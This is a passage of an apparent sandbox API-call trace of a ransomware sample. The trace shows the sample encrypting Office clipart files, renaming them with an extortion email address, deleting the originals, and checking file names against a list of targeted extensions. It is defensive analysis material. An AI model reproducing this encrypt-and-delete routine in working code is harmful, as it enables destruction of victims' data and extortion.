dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0071.573] GetLastError () returned 0x0 [0071.573] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2c8, lpOverlapped=0x0) returned 1 [0071.574] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0071.575] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.575] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.576] SetEndOfFile (hFile=0x2f8) returned 1 [0071.576] CloseHandle (hObject=0x2f8) returned 1 [0071.576] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.576] SetEndOfFile (hFile=0x2e8) returned 1 [0071.577] CloseHandle (hObject=0x2e8) returned 1 [0071.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0071.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0071.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0071.577] lstrlenW (lpString=".doc") returned 4 [0071.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.578] lstrlenW (lpString=".docx") returned 5 [0071.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.578] lstrlenW (lpString=".pdf") returned 4 [0071.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.578] lstrlenW (lpString=".xls") returned 4 [0071.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.578] lstrlenW (lpString=".xlsx") returned 5 [0071.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.578] lstrlenW (lpString=".ppt") returned 4 [0071.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0071.578] lstrlenW (lpString=".zip") returned 4 [0071.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.578] lstrlenW (lpString=".rar") returned 4 [0071.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.578] lstrlenW (lpString=".bz2") returned 4 [0071.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.578] lstrlenW (lpString=".7z") returned 3 [0071.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0071.578] lstrlenW (lpString=".dbf") returned 4 [0071.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0071.578] lstrlenW (lpString=".1cd") returned 4 [0071.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0071.578] lstrlenW (lpString=".jpg") returned 4 [0071.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.579] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.579] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0071.579] GetLastError () returned 0x0 [0071.579] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x78c, lpOverlapped=0x0) returned 1 [0072.029] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x790, lpOverlapped=0x0) returned 1 [0072.031] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.031] SetEndOfFile (hFile=0x2f8) returned 1 [0072.031] CloseHandle (hObject=0x2f8) returned 1 [0072.031] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.031] SetEndOfFile (hFile=0x2e8) returned 1 [0072.032] CloseHandle (hObject=0x2e8) returned 1 [0072.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0072.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0072.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0072.033] lstrlenW (lpString=".doc") returned 4 [0072.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.033] lstrlenW (lpString=".docx") returned 5 [0072.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.033] lstrlenW (lpString=".pdf") returned 4 [0072.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.033] lstrlenW (lpString=".xls") returned 4 [0072.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.033] lstrlenW (lpString=".xlsx") returned 5 [0072.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.033] lstrlenW (lpString=".ppt") returned 4 [0072.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0072.034] lstrlenW (lpString=".zip") returned 4 [0072.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.034] lstrlenW (lpString=".rar") returned 4 [0072.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.034] lstrlenW (lpString=".bz2") returned 4 [0072.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.034] lstrlenW (lpString=".7z") returned 3 [0072.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0072.034] lstrlenW (lpString=".dbf") returned 4 [0072.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0072.034] lstrlenW (lpString=".1cd") returned 4 [0072.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0072.034] lstrlenW (lpString=".jpg") returned 4 [0072.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.035] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.035] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.036] GetLastError () returned 0x0 [0072.036] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0072.037] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x900, lpOverlapped=0x0) returned 1 [0072.038] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.038] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.038] SetEndOfFile (hFile=0x2f8) returned 1 [0072.039] CloseHandle (hObject=0x2f8) returned 1 [0072.039] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.039] SetEndOfFile (hFile=0x2e8) returned 1 [0072.040] CloseHandle (hObject=0x2e8) returned 1 [0072.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0072.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0072.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0072.041] lstrlenW (lpString=".doc") returned 4 [0072.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.041] lstrlenW (lpString=".docx") returned 5 [0072.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.041] lstrlenW (lpString=".pdf") returned 4 [0072.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.041] lstrlenW (lpString=".xls") returned 4 [0072.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.041] lstrlenW (lpString=".xlsx") returned 5 [0072.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.041] lstrlenW (lpString=".ppt") returned 4 [0072.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0072.041] lstrlenW (lpString=".zip") returned 4 [0072.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.041] lstrlenW (lpString=".rar") returned 4 [0072.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.041] lstrlenW (lpString=".bz2") returned 4 [0072.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.041] lstrlenW (lpString=".7z") returned 3 [0072.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0072.041] lstrlenW (lpString=".dbf") returned 4 [0072.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0072.042] lstrlenW (lpString=".1cd") returned 4 [0072.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0072.042] lstrlenW (lpString=".jpg") returned 4 [0072.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.042] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.042] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.043] GetLastError () returned 0x0 [0072.043] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x820, lpOverlapped=0x0) returned 1 [0072.045] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x830, lpOverlapped=0x0) returned 1 [0072.046] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.046] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.046] SetEndOfFile (hFile=0x2f8) returned 1 [0072.047] CloseHandle (hObject=0x2f8) returned 1 [0072.047] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.047] SetEndOfFile (hFile=0x2e8) returned 1 [0072.048] CloseHandle (hObject=0x2e8) returned 1 [0072.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0072.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0072.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0072.048] lstrlenW (lpString=".doc") returned 4 [0072.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.049] lstrlenW (lpString=".docx") returned 5 [0072.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.049] lstrlenW (lpString=".pdf") returned 4 [0072.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.049] lstrlenW (lpString=".xls") returned 4 [0072.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.049] lstrlenW (lpString=".xlsx") returned 5 [0072.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.049] lstrlenW (lpString=".ppt") returned 4 [0072.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0072.049] lstrlenW (lpString=".zip") returned 4 [0072.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.049] lstrlenW (lpString=".rar") returned 4 [0072.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.049] lstrlenW (lpString=".bz2") returned 4 [0072.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.049] lstrlenW (lpString=".7z") returned 3 [0072.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0072.049] lstrlenW (lpString=".dbf") returned 4 [0072.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0072.049] lstrlenW (lpString=".1cd") returned 4 [0072.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0072.049] lstrlenW (lpString=".jpg") returned 4 [0072.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.050] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.050] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.051] GetLastError () returned 0x0 [0072.051] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x820, lpOverlapped=0x0) returned 1 [0072.053] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x830, lpOverlapped=0x0) returned 1 [0072.054] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.054] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.054] SetEndOfFile (hFile=0x2f8) returned 1 [0072.054] CloseHandle (hObject=0x2f8) returned 1 [0072.054] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.054] SetEndOfFile (hFile=0x2e8) returned 1 [0072.055] CloseHandle (hObject=0x2e8) returned 1 [0072.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0072.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0072.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0072.056] lstrlenW (lpString=".doc") returned 4 [0072.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.056] lstrlenW (lpString=".docx") returned 5 [0072.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.056] lstrlenW (lpString=".pdf") returned 4 [0072.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.057] lstrlenW (lpString=".xls") returned 4 [0072.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.057] lstrlenW (lpString=".xlsx") returned 5 [0072.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.057] lstrlenW (lpString=".ppt") returned 4 [0072.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0072.057] lstrlenW (lpString=".zip") returned 4 [0072.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.057] lstrlenW (lpString=".rar") returned 4 [0072.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.057] lstrlenW (lpString=".bz2") returned 4 [0072.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.057] lstrlenW (lpString=".7z") returned 3 [0072.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0072.057] lstrlenW (lpString=".dbf") returned 4 [0072.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0072.057] lstrlenW (lpString=".1cd") returned 4 [0072.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0072.057] lstrlenW (lpString=".jpg") returned 4 [0072.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.058] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.059] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.059] GetLastError () returned 0x0 [0072.059] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x7d4, lpOverlapped=0x0) returned 1 [0072.061] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x7e0, lpOverlapped=0x0) returned 1 [0072.062] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.062] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.062] SetEndOfFile (hFile=0x2f8) returned 1 [0072.062] CloseHandle (hObject=0x2f8) returned 1 [0072.063] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.063] SetEndOfFile (hFile=0x2e8) returned 1 [0072.064] CloseHandle (hObject=0x2e8) returned 1 [0072.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 